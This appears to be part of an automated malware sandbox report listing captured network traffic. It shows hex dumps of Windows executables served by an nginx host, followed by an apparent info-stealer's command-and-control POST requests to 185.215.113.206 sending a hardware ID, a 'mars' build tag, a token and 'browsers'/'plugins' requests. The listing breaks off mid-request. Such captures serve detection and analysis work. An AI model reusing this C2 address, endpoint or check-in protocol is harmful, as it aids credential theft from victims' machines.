Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:08 GMTContent-Type: application/octet-streamContent-Length: 4413440Last-Modified: Mon, 18 Nov 2024 10:26:11 GMTConnection: keep-aliveETag: "673b1643-435800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 00 ba 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 ba 00 00 04 00 00 6b 8b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 e0 b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 df b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 38 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 78 69 74 6b 72 67 66 00 c0 1b 00 00 30 9e 00 00 b2 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 67 72 6c 67 70 76 73 00 10 00 00 00 f0 b9 00 00 04 00 00 00 32 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 ba 00 00 22 00 00 00 36 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:19 GMTContent-Type: application/octet-streamContent-Length: 1909248Last-Modified: Mon, 18 Nov 2024 11:54:22 GMTConnection: keep-aliveETag: "673b2aee-1d2200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 17 10 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6e 66 66 76 78 79 6b 00 70 1a 00 00 50 31 00 00 6e 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 64 71 6c 64 67 75 6f 00 10 00 00 00 c0 4b 00 00 06 00 00 00 fa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 00 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:29 GMTContent-Type: application/octet-streamContent-Length: 1783808Last-Modified: Mon, 18 Nov 2024 11:54:29 GMTConnection: keep-aliveETag: "673b2af5-1b3800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 8a ae 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 77 72 75 6a 62 66 63 00 a0 19 00 00 e0 4e 00 00 9a 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 75 70 66 67 66 69 00 10 00 00 00 80 68 00 00 04 00 00 00 12 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 68 00 00 22 00 00 00 16 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:38 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Mon, 18 Nov 2024 11:52:36 GMTConnection: keep-aliveETag: "673b2a84-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c 2a 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 e6 0b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 90 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 90 aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:45 GMTContent-Type: application/octet-streamContent-Length: 2756096Last-Modified: Mon, 18 Nov 2024 11:53:03 GMTConnection: keep-aliveETag: "673b2a9f-2a0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 3c 9b 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 72 63 67 68 68 73 62 00 c0 29 00 00 a0 00 00 00 ae 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 73 75 74 6a 61 6c 00 20 00 00 00 60 2a 00 00 04 00 00 00 e8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 ec 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 12:30:54 GMTContent-Type: application/octet-streamContent-Length: 2756096Last-Modified: Mon, 18 Nov 2024 11:53:05 GMTConnection: keep-aliveETag: "673b2aa1-2a0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 3c 9b 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 72 63 67 68 68 73 62 00 c0 29 00 00 a0 00 00 00 ae 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 63 73 75 74 6a 61 6c 00 20 00 00 00 60 2a 00 00 04 00 00 00 e8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 ec 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIEGCAECGCAEBFHDHIEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 37 32 45 45 41 34 41 42 39 44 44 34 33 38 34 30 38 37 32 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 45 47 43 41 45 43 47 43 41 45 42 46 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="hwid"472EEA4AB9DD438408725------AFIEGCAECGCAEBFHDHIEContent-Disposition: form-data; name="build"mars------AFIEGCAECGCAEBFHDHIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIDHJDGCGDAAKEBGDBKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 48 4a 44 47 43 47 44 41 41 4b 45 42 47 44 42 4b 46 2d 2d 0d 0a Data Ascii: ------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------IIDHJDGCGDAAKEBGDBKFContent-Disposition: form-data; name="message"browsers------IIDHJDGCGDAAKEBGDBKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 33 33 38 31 30 36 63 35 33 34 64 64 61 32 35 63 64 61 62 38 38 66 30 35 63 31 37 32 34 34 64 30 61 34 35 36 66 32 65 35 65 63 35 31 38 61 65 61 64 62 39 35 35 35 33 62 38 30 30 37 37 64 36 38 64 61 33 65 39 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"6338106c534dda25cdab88f05c17244d0a456f2e5ec518aeadb95553b80077d68da3e97a------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; 